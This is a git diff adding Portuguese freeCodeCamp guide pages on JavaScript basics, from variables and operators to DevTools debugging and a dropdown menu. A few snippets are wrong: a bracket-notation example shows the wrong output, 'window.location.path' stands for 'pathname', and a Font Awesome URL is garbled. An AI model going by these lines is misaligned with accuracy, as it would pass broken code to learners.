+Os comentários são uma ótima maneira de deixar anotações para você mesmo e para outras pessoas que mais tarde precisarão descobrir o que ele faz. Qualquer código nele será ignorado.
+
+Vamos dar uma olhada nas duas maneiras de escrever comentários em JavaScript.
+
+*   O comentário de duas barras comentará o restante do texto na linha atual:
+
+`// This is a single line comment.`
+
+*   O comentário slash-star-star-slash comentará tudo entre os caracteres `/*` e `*/` :
+
+```javascript
+/* 
+ This is 
+ a multi-line comment 
+ (comment block) 
+ */ 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/construct-javascript-objects-with-functions/index.md b/client/src/guide/portuguese/javascript/tutorials/construct-javascript-objects-with-functions/index.md
new file mode 100644
index 0000000000..7292f2b314
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/construct-javascript-objects-with-functions/index.md
@@ -0,0 +1,17 @@
+---
+title: Construct JavaScript Objects with Functions
+localeTitle: Construa objetos JavaScript com funções
+---
+Usando construtores é fácil criar novos objetos usando um blueprint ou construtor. A sintaxe da declaração é um pouco diferente, mas ainda assim fácil de lembrar.
+```
+// Let's add the properties engines and seats to the car in the same way that the property wheels has been added below. They should both be numbers. 
+ var Car = function() { 
+  this.wheels = 4; 
+  this.engines = 1; 
+  this.seats = 1; 
+ }; 
+ 
+ var myCar = new Car(); 
+```
+
+O nome de uma função de construtor geralmente começa com uma letra maiúscula (ao contrário de outras funções, que tendem a começar com um caractere minúsculo). A letra maiúscula deve ajudar os desenvolvedores a usar a nova palavra-chave quando eles criam um objeto usando essa função.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/create-a-javascript-slot-machine/index.md b/client/src/guide/portuguese/javascript/tutorials/create-a-javascript-slot-machine/index.md
new file mode 100644
index 0000000000..cce1fa710a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/create-a-javascript-slot-machine/index.md
@@ -0,0 +1,11 @@
+---
+title: Create a JavaScript Slot Machine
+localeTitle: Crie um caça-níqueis JavaScript
+---
+Para isso, temos que gerar três números aleatórios usando a fórmula que eles nos dão e não o geral. `Math.floor(Math.random() * (3 - 1 + 1)) + 1;`
+```
+slotOne = Math.floor(Math.random() * (3 - 1 + 1)) + 1; 
+ slotTwo = Math.floor(Math.random() * (3 - 1 + 1)) + 1; 
+ slotThree = Math.floor(Math.random() * (3 - 1 + 1)) + 1; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/create-decimal-numbers-with-javascript/index.md b/client/src/guide/portuguese/javascript/tutorials/create-decimal-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..b718f1f34e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/create-decimal-numbers-with-javascript/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Decimal Numbers with JavaScript
+localeTitle: Crie números decimais com JavaScript
+---
+Variáveis ​​numéricas JavaScript podem ter decimais.
+```
+var myDecimal = 2.8; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/debugging-javascript-with-browser-devtools/index.md b/client/src/guide/portuguese/javascript/tutorials/debugging-javascript-with-browser-devtools/index.md
new file mode 100644
index 0000000000..f5aa904b1c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/debugging-javascript-with-browser-devtools/index.md
@@ -0,0 +1,90 @@
+---
+title: Debugging JavaScript with Browser Devtools
+localeTitle: Depurando JavaScript com Devtools do Navegador
+---
+Como desenvolvedor, você freqüentemente desejará depurar código. Você pode já ter usado o `console.log` em alguns dos desafios, que é a maneira mais simples de depurar.
+
+Neste artigo, contaremos alguns dos truques mais legais para depurar usando as ferramentas de depuração nativas dos navegadores.
+
+## Uma breve visão do FreeCodeCamp Code Editor:
+
+Antes de entrar na depuração, vamos divulgar alguns fatos secretos sobre o _incrível mecanismo de verificação de código_ da FCC.
+
+Nós usamos um [CodeMirror](http://codemirror.net/mode/javascript/index.html) personalizado, como o editor de código. Uma [função `eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) é usada para avaliar o código JavaScript representado como uma string do editor. Quando `eval()` é chamado, os navegadores executam seu código nativamente. Vamos aprender mais por que esse segredo é importante nas próximas seções deste artigo.
+
+## Agora seguindo para os truques:
+
+## Google Chrome DevTools
+
+O Google Chrome é um dos navegadores mais populares com um mecanismo JavaScript integrado chamado [V8](https://developers.google.com/v8/) e oferece um ótimo conjunto de ferramentas para desenvolvedores chamado [Chrome DevTools](https://developer.chrome.com/devtools) . É altamente recomendável visitar o [guia de depuração completo do JavaScript](https://developer.chrome.com/devtools/docs/javascript-debugging) .
+
+### 1: Noções básicas de DevTools
+
+#### Iniciando as DevTools do Chrome
+
+Bata `F12`
+
+. Alternativamente, você pode pressionar
+
+`Ctrl` + `Shift` + `I`
+
+no Windows e Linux ou
+
+`Cmd` + `Shift` + `I`
+
+no Mac, ou Se você simplesmente ama seu mouse, vá para `Menu > More Tools > Developer Tools` .
+
+#### Conhecer as `Sources` e as guias do `console` .
+
+Estas duas abas são talvez seus melhores amigos durante a depuração. A guia `Sources` pode ser usada para visualizar todos os scripts que estão na página da Web que você está visitando. Esta guia possui seções para a janela de código, árvore de arquivos, pilha de chamadas e janelas de observação, etc.
+
+A guia do `console` é onde vai toda a saída do log. Além disso, você pode usar o prompt da guia do console para executar o código JavaScript. Seu tipo de sinônimo para o prompt de comando no Windows, ou terminal no Linux.
+
+_Dica: Alterne o console a qualquer momento nas DevTools usando a tecla `Esc` ._
+
+### 2: Atalhos comuns e recursos
+
+Enquanto você pode visitar a [lista completa de atalhos](https://developers.google.com/web/tools/chrome-devtools/iterate/inspect-styles/shortcuts) , abaixo estão alguns que são mais usados:
+
+Recurso Windows, Linux Mac  
+Procurar por uma palavra-chave, regex é suportado. `Ctrl` + `F``Cmd` + `F`  
+Pesquise e abra um arquivo `Ctrl` + `P``Cmd` + `P`  
+Pule para a linha `Ctrl` + `G` + `:line_no``Cmd` + `G` + `:line_no`  
+Adicione um ponto de interrupção `Ctrl` + `B` ou clique na linha no. `Cmd` + `B` , ou clique na linha no.  
+Pausar / retomar a execução do script `F8` `F8`  
+Passar para a próxima chamada de função `F10` `F10`  
+Entre na próxima chamada de função `F11` `F11`
+
+### 3: Usando um Mapa de Origem para nosso Código
+
+Um dos recursos mais legais que você vai adorar é [depurar o Dynamic Script](https://developer.chrome.com/devtools/docs/javascript-debugging#breakpoints-dynamic-javascript) , em tempo real, via [Source Maps](https://developer.chrome.com/devtools/docs/javascript-debugging#source-maps) .
+
+Cada script pode ser visualizado na guia Origem dos DevTools. A guia de origem possui todos os arquivos de origem JavaScript. Mas o código do editor de código é executado via `eval()` em um contêiner chamado simplesmente de máquina virtual (VM) dentro do processo do navegador.
+
+Como você deve ter adivinhado até agora, nosso código é na verdade um script que não possui um nome de arquivo. Então, não vemos isso na guia Origem.
+
+> ![:sparkles:](//forum.freecodecamp.com/images/emoji/emoji_one/sparkles.png?v=2 ": brilhos:") **_Aqui vem o hack!_** ![:sparkles:](//forum.freecodecamp.com/images/emoji/emoji_one/sparkles.png?v=2 ": brilhos:")
+
+Devemos aproveitar o `Source Maps` para atribuir um nome ao JavaScript do nosso editor. É bem simples:
+
+Vamos dizer que estamos no desafio [Factorialize](https://www.freecodecamp.com/challenges/factorialize-a-number) , e nosso código é assim:
+```
+function factorialize(num) { 
+  if(num <= 1){ 
+  ... 
+ } 
+ factorialize(5); 
+```
+
+Tudo o que precisamos fazer é adicionar `//# sourceURL=factorialize.js` ao topo do código, ou seja, a primeira linha:
+```
+//# sourceURL=factorialize.js 
+ 
+ function factorialize(num) { 
+  if(num <= 1){ 
+  ... 
+```
+
+> ![:sparkles:](//forum.freecodecamp.com/images/emoji/emoji_one/sparkles.png?v=2 ": brilhos:") **_E Eureka é isso!_** ![:sparkles:](//forum.freecodecamp.com/images/emoji/emoji_one/sparkles.png?v=2 ": brilhos:")
+
+Agora abra o DevTools e procure o nome do arquivo. Adicione pontos de quebra, depure e desfrute!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/debugging-node-files-using-cli-commands/index.md b/client/src/guide/portuguese/javascript/tutorials/debugging-node-files-using-cli-commands/index.md
new file mode 100644
index 0000000000..f149621b42
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/debugging-node-files-using-cli-commands/index.md
@@ -0,0 +1,48 @@
+---
+title: Debugging Node files using CLI commands
+localeTitle: Depurando Arquivos de Nó Usando Comandos CLI
+---
+## Depurando Arquivos de Nó Usando Comandos CLI
+
+Neste tutorial, você aprenderá como depurar seu código Node.js na linha de comando. Seu código JavaScript simples pode ser facilmente depurado usando o DevTools de um navegador. Para o Node, você pode depurar seu código sem sair da sua interface de linha de comando (CLI).
+
+Digamos que você tenha um arquivo chamado `contents.js` . Você executaria o arquivo usando o comando `node` .
+
+```bash
+node contents.js 
+```
+
+Isso já deve ser conhecido por você desde que você está escrevendo o código Node.js. Agora, qualquer erro que apareça deve ser depurado. Para executar o arquivo no modo de depuração, anexe a palavra-chave `inspect` enquanto executa o arquivo.
+
+```bash
+node inspect contents.js 
+```
+
+Agora este comando irá abrir seu arquivo no modo de depuração. A partir daqui, você pode percorrer o seu código uma linha de cada vez, pressionando a tecla **N** do seu teclado.
+
+O depurador iniciará na primeira linha. Ao pressionar **N** , você pode mover o depurador para a próxima linha. Se houvesse um erro na primeira linha, ele mostraria um erro em vez de passar para a segunda linha. Isso é muito útil. Se, por exemplo, houver um erro na 17ª linha, ele mostrará o erro antes de avançar.
+
+Pode haver um erro em sua lógica, ou seja, você deseja que um determinado valor seja exibido, mas, em vez disso, mostra um valor diferente. Nesse caso, adicionar `console.log()` pode ajudar você e, com o modo de depuração, ficará mais fácil identificar a causa do erro.
+
+* * *
+
+Agora, às vezes, acontece que o seu código-fonte é enorme. Você entra no modo de depuração para depurar seus erros e tem certeza de que o erro é de uma função na linha 52. Mas como o modo de depuração inicia na linha 1, você não tem escolha senão visitar a linha 52, um por um? Absolutamente não!
+
+Basta adicionar o `debugger` palavras-chave antes da função.
+
+```javascript
+console.log("Outside the function....everything's going smoothly"); 
+ 
+ debugger; 
+ 
+ function doesSomething() { 
+    //some logic 
+    console.log("Something went wrong inside here!"); 
+ } 
+```
+
+Agora abra o arquivo novamente no modo de depuração e desta vez pressione **C** no seu teclado.
+
+Pressionar **N** move o depurador para a próxima linha e pressionar **C** diz ao depurador para percorrer todo o código de uma só vez. Isso é o mesmo que executar sem o modo de depuração. _Mas_ , seu código tem uma adição neste momento. Você adivinhou - a palavra-chave do `debugger` . Pressionar **C** normalmente executaria o código até o final, mas, por causa da adição do `debugger` , ele parará logo antes do início da função.
+
+Portanto, depois de executar seu arquivo no modo de depuração, pressionar **C** irá ignorar o código e parar exatamente antes da função na palavra-chave do `debugger` . Depois disso, você pode começar a percorrer a função uma linha por vez até identificar o erro.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/declare-javascript-objects-as-variables/index.md b/client/src/guide/portuguese/javascript/tutorials/declare-javascript-objects-as-variables/index.md
new file mode 100644
index 0000000000..923e8e460c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/declare-javascript-objects-as-variables/index.md
@@ -0,0 +1,34 @@
+---
+title: Declare JavaScript Objects as Variables
+localeTitle: Declare objetos JavaScript como variáveis
+---
+Isto tem um formato simples. Você declara sua variável e a iguala a um objeto no formato `{ key: value}`
+```
+var car = { 
+  "wheels":4, 
+  "engines":1, 
+  "seats":5 
+ }; 
+```
+
+Você pode acessar as propriedades do objeto usando notação de ponto ou notação de colchetes.
+
+Usando notação de ponto:
+
+```javascript
+console.log(car.wheels); // 4 
+```
+
+Usando a notação de colchetes:
+
+```javascript
+console.log(car["wheels"]); // 1 
+```
+
+Usando a notação de colchetes dinâmicos:
+
+```javascript
+var seatsProperty = "seats"; 
+ console.log(car[seatsProperty]); // 5 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/declare-javascript-variables/index.md b/client/src/guide/portuguese/javascript/tutorials/declare-javascript-variables/index.md
new file mode 100644
index 0000000000..958e86d8fa
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/declare-javascript-variables/index.md
@@ -0,0 +1,98 @@
+---
+title: Declare Variables
+localeTitle: Declarar Variáveis
+---
+# Declarar Variáveis
+
+As declarações de variáveis ​​JavaScript podem ser classificadas em três componentes distintos: o tipo de variável, o nome da variável e o valor da variável.
+
+```js
+    var myName = "Rafael"; 
+```
+
+Vamos quebrar a linha de código acima nas partes que compõem:
+
+```js
+    var/const/let 
+```
+
+Variáveis ​​JavaScript podem ter três tipos de declaração: var, const e let. Variáveis ​​do tipo Var são globais, se declaradas fora de uma função, podem ser acessadas por qualquer arquivo JS (ou pelo console) e, se criadas dentro de uma função, são acessíveis independentemente do escopo do bloco. As variáveis ​​do tipo let são limitadas no escopo para seu bloco. Veja o exemplo abaixo para a diferença.
+
+```js
+     function varTest() { 
+      var x = 1; 
+      if (true) { 
+        var x = 2;  // same variable! 
+        console.log(x);  // 2 
+      } 
+      console.log(x);  // 2 
+    } 
+ 
+    function letTest() { 
+      let x = 1; 
+      if (true) { 
+        let x = 2;  // different variable 
+        console.log(x);  // 2 
+      } 
+      console.log(x);  // 1 
+    } 
+```
+
+Variáveis ​​do tipo Const têm o mesmo escopo que as variáveis ​​let (escopo de bloco), mas são imutáveis. Qualquer valor que uma variável do tipo const deve ser atribuída, deve acontecer quando a variável é declarada, e o JavaScript lançará um erro se a variável for alterada posteriormente.
+
+```js
+    const genre = "non-fiction"; 
+    console.log(genre); // "non-fiction"; 
+    genre = "fantasy"; // error 
+```
+
+Agora que podemos determinar qual é o tipo de variável, vamos dar uma olhada no nome. Os nomes das variáveis ​​JavaScript são gravados no formato de `camel case` . Um exemplo de caso de camelo é: `camelCase` . No contexto do nosso exemplo:
+
+```js
+    myName 
+```
+
+O nome é também vamos acessar a variável novamente mais tarde:
+
+```js
+    console.log(myName); // "Rafael" 
+```
+
+Finalmente, nosso valor:
+
+```js
+    "Rafael" 
+```
+
+O JavaScript é digitado dinamicamente, o que significa que qualquer variável pode representar qualquer tipo de dado em qualquer momento. Por exemplo:
+
+```js
+    var example = "This is an example"; 
+    example = [0, 1, 2, 3] 
+    example = {test: "Result"} 
+    example = 5 
+```
+
+Todas essas instruções são perfeitamente válidas - variáveis ​​JavaScript podem pular de string para array para objeto para inteiro.
+
+### Declare o objeto como const
+
+Como mencionado acima, a variável const é imutável, o valor atribuído a tal variável no momento da declaração não pode ser atualizado, mas há um ponto a ser observado na declaração do objeto com const. O objeto do tipo const também não pode ser atualizado uma vez definido, mas as propriedades do objeto cab são. Por exemplo.
+
+```js
+    const Car1 = { 
+        name: 'BMW', 
+        model: 'X1', 
+        color: 'black' 
+    } 
+```
+
+Aqui, não podemos atualizar o objeto, mas podemos atualizar as propriedades acessando o operador ponto (.) Como abaixo.
+
+```js
+    Car1.color = 'Red'; 
+    console.log(Car1); 
+    O/P - {name: "BMW", model: "X1", color: "Red"} 
+```
+
+Se precisarmos tornar o objeto enitre imutável (incluindo propriedades), então temos que usar o método freeze.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/decrement-a-number-with-javascript/index.md b/client/src/guide/portuguese/javascript/tutorials/decrement-a-number-with-javascript/index.md
new file mode 100644
index 0000000000..c420550e74
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/decrement-a-number-with-javascript/index.md
@@ -0,0 +1,15 @@
+---
+title: Decrement a Number with JavaScript
+localeTitle: Decrementar um número com JavaScript
+---
+Você pode facilmente decrementar ou diminuir uma variável em `1` com o operador `--` .
+```
+i--; 
+```
+
+é o equivalente de
+```
+i = i - 1; 
+```
+
+**Nota:** A linha inteira torna-se `i--;` , eliminando a necessidade do sinal de igual.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/delete-properties-from-a-javascript-object/index.md b/client/src/guide/portuguese/javascript/tutorials/delete-properties-from-a-javascript-object/index.md
new file mode 100644
index 0000000000..cb15d6171d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/delete-properties-from-a-javascript-object/index.md
@@ -0,0 +1,41 @@
+---
+title: Delete Properties from a JavaScript Object
+localeTitle: Excluir propriedades de um objeto JavaScript
+---
+Também podemos excluir propriedades de objetos como este:
+```
+delete ourDog.bark; 
+```
+
+O **operador delete** remove uma propriedade de um objeto.
+
+## Sintaxe
+
+`delete expression` onde a expressão deve ser avaliada para uma referência de propriedade, por exemplo:
+```
+delete object.property 
+ delete object['property'] 
+```
+
+## Parâmetros
+
+**objeto**  
+O nome de um objeto ou uma expressão avaliada para um objeto.
+
+**propriedade**  
+A propriedade a ser excluída.
+
+## Exemplo
+
+```js
+var person = {name:'Jay', age:'52'}; 
+ delete person['age']; 
+ 
+ console.log(person); //{name:'Jay'} 
+```
+
+## Valor de retorno
+
+Lança o modo estrito se a propriedade for uma propriedade não configurável própria (retorna falso em não-estrito). Retorna true em todos os outros casos.
+
+[Consulte Mais informação](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/detect-authentic-click-events/index.md b/client/src/guide/portuguese/javascript/tutorials/detect-authentic-click-events/index.md
new file mode 100644
index 0000000000..6269504bf0
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/detect-authentic-click-events/index.md
@@ -0,0 +1,27 @@
+---
+title: Detect authentic click events
+localeTitle: Detectar eventos de cliques autênticos
+---
+## Detectar eventos de cliques autênticos
+
+Pode haver uma situação em que você queira fazer algumas coisas específicas somente se o evento de clique for realmente acionado por um usuário e não por algum script para simular um evento de clique.
+
+Existe uma solução muito simples para este problema, o objeto de evento javascript nos fornece uma propriedade `.istrusted` , que pode ser usada para diferenciar.
+
+#### Aqui está um exemplo de como usar esse método
+
+```javascript
+// Assume there is a button in the HTML 
+ const button = document.querySelector('button'); 
+ 
+ button.addEventListener('click', (e) => { 
+  if (e.isTrusted) { 
+    console.log('Button clicked by a real user'); 
+  } else { 
+    console.log('Button click simulated by a script'); 
+  } 
+ }); 
+ 
+ button.click() // Outputs "Button click simulated by a script" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/divide-one-number-by-another-with-javascript/index.md b/client/src/guide/portuguese/javascript/tutorials/divide-one-number-by-another-with-javascript/index.md
new file mode 100644
index 0000000000..2ccb08f2b6
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/divide-one-number-by-another-with-javascript/index.md
@@ -0,0 +1,9 @@
+---
+title: Divide One Number by Another with JavaScript
+localeTitle: Divide um número por outro com JavaScript
+---
+Usos JavaScript usam o símbolo `/` para divisão.
+```
+var quotient = 66 / 33; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/finding-a-remainder-in-javascript/index.md b/client/src/guide/portuguese/javascript/tutorials/finding-a-remainder-in-javascript/index.md
new file mode 100644
index 0000000000..aec23d9a67
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/finding-a-remainder-in-javascript/index.md
@@ -0,0 +1,23 @@
+---
+title: Finding a Remainder in JavaScript
+localeTitle: Encontrando um Restante em JavaScript
+---
+O _operador_ `%` _restante_ fornece o restante da divisão de dois números.
+
+## Exemplo
+```
+5 % 2 = 1 because 
+ Math.floor(5 / 2) = 2 (Quotient) 
+ 2 * 2 = 4 
+ 5 - 4 = 1 (Remainder) 
+```
+
+## Uso
+
+Na matemática, um número pode ser verificado par ou ímpar verificando o restante da divisão do número por 2.
+```
+17 % 2 = 1 (17 is Odd) 
+ 48 % 2 = 0 (48 is Even) 
+```
+
+**Nota** Não confunda com o _módulo_ `%` não funciona bem com números negativos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/generate-random-fractions-with-javascript/index.md b/client/src/guide/portuguese/javascript/tutorials/generate-random-fractions-with-javascript/index.md
new file mode 100644
index 0000000000..559e129b4e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/generate-random-fractions-with-javascript/index.md
@@ -0,0 +1,5 @@
+---
+title: Generate Random Fractions with JavaScript
+localeTitle: Gerar frações aleatórias com JavaScript
+---
+JavaScript tem uma função `Math.random()` que gera um número decimal aleatório.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/generate-random-whole-numbers-with-javascript/index.md b/client/src/guide/portuguese/javascript/tutorials/generate-random-whole-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..d805061e83
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/generate-random-whole-numbers-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Generate Random Whole Numbers with JavaScript
+localeTitle: Gere números inteiros aleatórios com JavaScript
+---
+É ótimo podermos criar números decimais aleatórios, mas é ainda mais útil se formos muito mais úteis para gerar um número inteiro aleatório.
+
+Para conseguir isso, podemos multiplicar o número aleatório por dez e usar o `Math.floor()` para converter o número decimal em um número inteiro
+```
+Math.floor(Math.random()*10) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/get-current-url-in-javascript/index.md b/client/src/guide/portuguese/javascript/tutorials/get-current-url-in-javascript/index.md
new file mode 100644
index 0000000000..a3421a75d7
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/get-current-url-in-javascript/index.md
@@ -0,0 +1,15 @@
+---
+title: Get Current Url in JavaScript
+localeTitle: Obter o URL atual em JavaScript
+---
+Para obter o **URL atual** :
+```
+var url = window.location.href; 
+```
+
+Para obter o **caminho atual** :
+```
+var path = window.location.path; 
+```
+
+Mais informações sobre o objeto de localização e suas propriedades podem ser encontradas [aqui](https://developer.mozilla.org/en-US/docs/Web/API/Window/location) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/give-your-javascript-slot-machine-some-stylish-images/index.md b/client/src/guide/portuguese/javascript/tutorials/give-your-javascript-slot-machine-some-stylish-images/index.md
new file mode 100644
index 0000000000..09bbcbfba0
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/give-your-javascript-slot-machine-some-stylish-images/index.md
@@ -0,0 +1,11 @@
+---
+title: Give Your JavaScript Slot Machine Some Stylish Images
+localeTitle: Dê ao seu caça-níqueis JavaScript algumas imagens elegantes
+---
+Nós já configuramos as imagens para você em uma matriz chamada imagens. Podemos usar diferentes índices para pegar cada um deles.
+
+Veja como definiríamos o primeiro slot para mostrar uma imagem diferente, dependendo de qual número seu número aleatório gera:
+```
+$($('.slot')[0]).html('<img src = "' + images[slotOne-1] + '">'); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-countdown-timer/index.md b/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-countdown-timer/index.md
new file mode 100644
index 0000000000..50c7b916db
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-countdown-timer/index.md
@@ -0,0 +1,62 @@
+---
+title: How to Create a Countdown Timer
+localeTitle: Como criar um temporizador de contagem regressiva
+---
+## Como criar um temporizador de contagem regressiva
+
+### Criação
+
+Comece construindo a função countdownTimer.
+
+```javascript
+function startCountdown(seconds){ 
+  var counter = seconds; 
+ 
+  var interval = setInterval(() => { 
+    console.log(counter); 
+    counter--; 
+ 
+ 
+    if(counter < 0 ){ 
+ 
+      // The code here will run when 
+      // the timer has reached zero. 
+ 
+      clearInterval(interval); 
+      console.log('Ding!'); 
+    }; 
+  }, 1000); 
+ }; 
+```
+
+### Execução
+
+Agora, para iniciar o cronômetro, fornecemos `startCountdown()` com um valor numérico como um argumento que representa os segundos para a contagem regressiva.
+
+```javascript
+  startCountdown(10); 
+  // Console Output // 
+  // 10 
+  // 9 
+  // 8 
+  // 7 
+  // 6 
+  // 5 
+  // 4 
+  // 3 
+  // 2 
+  // 1 
+  // 0 
+  // Ding! 
+```
+
+### Exemplo Vivo
+
+[Codepen - temporizador de contagem regressiva](https://codepen.io/rdev-rocks/pen/jLogxY?editors=0012)
+
+### Mais recursos
+
+Métodos utilizados:
+
+*   [setInterval ()](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval)
+*   [clearInterval ()](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md b/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md
new file mode 100644
index 0000000000..616498a85f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md
@@ -0,0 +1,245 @@
+---
+title: How to Create a Dropdown Menu with CSS and JavaScript
+localeTitle: Como criar um menu suspenso com CSS e JavaScript
+---
+## Como criar um menu suspenso com CSS e JavaScript
+
+Neste tutorial, você aprenderá a criar um menu suspenso simples com JavaScript, HTML e CSS. Vamos percorrer o código HTML, CSS e Javascript, mas prestando mais atenção à programação, já que este é um tutorial do JS. Usaremos apenas JS e CSS simples, sem frameworks ou pré-processadores. A única (espécie de exceção) será importar o arquivo CSS do [Font Awesome](https://fontawesome.com/) porque usaremos um de seus ícones.
+
+Isso é direcionado a desenvolvedores que têm um entendimento médio de HTML, CSS e JS. Tentei torná-lo o mais limpo possível, mas não vou me concentrar muito nos detalhes aqui. Espero que todos gostem.
+
+## Screenshots
+
+É assim que o resultado do código se parece:
+
+Tela inicial:
+
+![](https://i.imgur.com/jrnu6mE.png)
+
+Dropdown aberto:
+
+![](https://i.imgur.com/gszPtRa.png)
+
+Dropdown com a opção selecionada:
+
+![](https://i.imgur.com/TKXxZGF.png)
+
+#### HTML:
+
+Nesta seção, discutiremos a implementação do código HTML para a página de demonstração. Para começar, vamos ver o código `<head>`
+
+```html
+
+<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+    <meta charset="UTF-8"> 
+    <meta name="viewport" content="width=device-width, initial-scale=1.0"> 
+    <meta http-equiv="X-UA-Compatible" content="ie=edge"> 
+    <title>Dropdown Example</title> 
+ 
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/'-awesome/4.7.0/css/font-awesome.min.css"> 
+    <link rel="stylesheet" href="styles.css"> 
+ </head> 
+```
+
+Este é basicamente um texto padronizado em HTML, com a exceção das tags de `link` carregam as duas folhas de estilo CSS que usaremos neste tutorial: os estilos Font Awesome e o arquivo `styles.css` , onde definiremos os estilos desta página.
+
+Então, há o resto do arquivo HTML, o corpo:
+
+```html
+
+<body> 
+    <div class='dropdown'> 
+        <div class='title pointerCursor'>Select an option <i class="fa fa-angle-right"></i></div> 
+ 
+        <div class='menu pointerCursor hide'> 
+            <div class='option' id='option1'>Option 1</div> 
+            <div class='option' id='option2'>Option 2</div> 
+            <div class='option' id='option3'>Option 3</div> 
+            <div class='option' id='option4'>Option 4</div> 
+        </div> 
+ 
+    </div> 
+    <span id='result'>The result is: </span> 
+    <script> 
+      ... 
+    </script> 
+ </body> 
+ </html> 
+```
+
+Esta seção pode ser dividida em 3 partes principais:
+
+*   O `.dropdown` div, onde a estrutura do elemento dropdown será definida.
+*   O elemento `#result` , que conterá a opção selecionada pelo usuário, no elemento suspenso.
+*   O script escrito na tag `<script>` . Sua implementação está escondida aqui, porque seus detalhes serão explicados na última seção deste tutorial.
+
+O elemento dropdown é um `div` contém um `title` e elementos de `menu` . O primeiro apenas define o texto que será apresentado no elemento antes que qualquer opção seja selecionada e o segundo definirá as opções que serão selecionáveis ​​pelo elemento.
+
+O elemento de `result` existe apenas para mostrar a você qual opção está selecionada no momento.
+
+#### Estilos:
+
+Abaixo, você pode verificar o código css completo. Como você pode ver, ele faz uso da `transition` de CSS3 e `transform` construções.
+
+Por favor, preste atenção às definições das classes `.dropdown` . Estes são usados ​​para definir o layout para o componente do contêiner suspenso, bem como seus elementos internos, como o `.title` e suas `.option` .
+
+```css
+body{ 
+    font-family: 'Lucida Sans', 'Lucida Sans Regular', 'Lucida Grande', 'Lucida Sans Unicode', Geneva, Verdana, sans-serif; 
+ } 
+ 
+ .hide { 
+    max-height: 0 !important; 
+ } 
+ 
+ .dropdown{ 
+    border: 0.1em solid black; 
+    width: 10em; 
+    margin-bottom: 1em; 
+ } 
+ 
+ .dropdown .title{ 
+    margin: .3em .3em .3em .3em; 
+    width: 100%; 
+ } 
+ 
+ .dropdown .title .fa-angle-right{ 
+    float: right; 
+    margin-right: .7em; 
+    transition: transform .3s; 
+ } 
+ 
+ .dropdown .menu{ 
+    transition: max-height .5s ease-out; 
+    max-height: 20em; 
+    overflow: hidden; 
+ } 
+ 
+ .dropdown .menu .option{ 
+    margin: .3em .3em .3em .3em; 
+    margin-top: 0.3em; 
+ } 
+ 
+ .dropdown .menu .option:hover{ 
+    background: rgba(0,0,0,0.2); 
+ } 
+ 
+ .pointerCursor:hover{ 
+    cursor: pointer; 
+ } 
+ 
+ .rotate-90{ 
+    transform: rotate(90deg); 
+ } 
+```
+
+#### JavaScript:
+
+Agora vamos ver como a parte Javascript é implementada. Primeiro vamos passar pelas definições das funções e, em seguida, o código que chama essas funções para fazer as ações suspensas acontecerem.
+
+Basicamente, existem 3 ações que ocorrem dependendo do que a interação do usuário é, como seus ouvintes são adicionados aos elementos DOM:
+
+1.  Clicando no elemento suspenso
+2.  Selecionando uma das opções suspensas
+3.  Alterando a opção atualmente selecionada
+
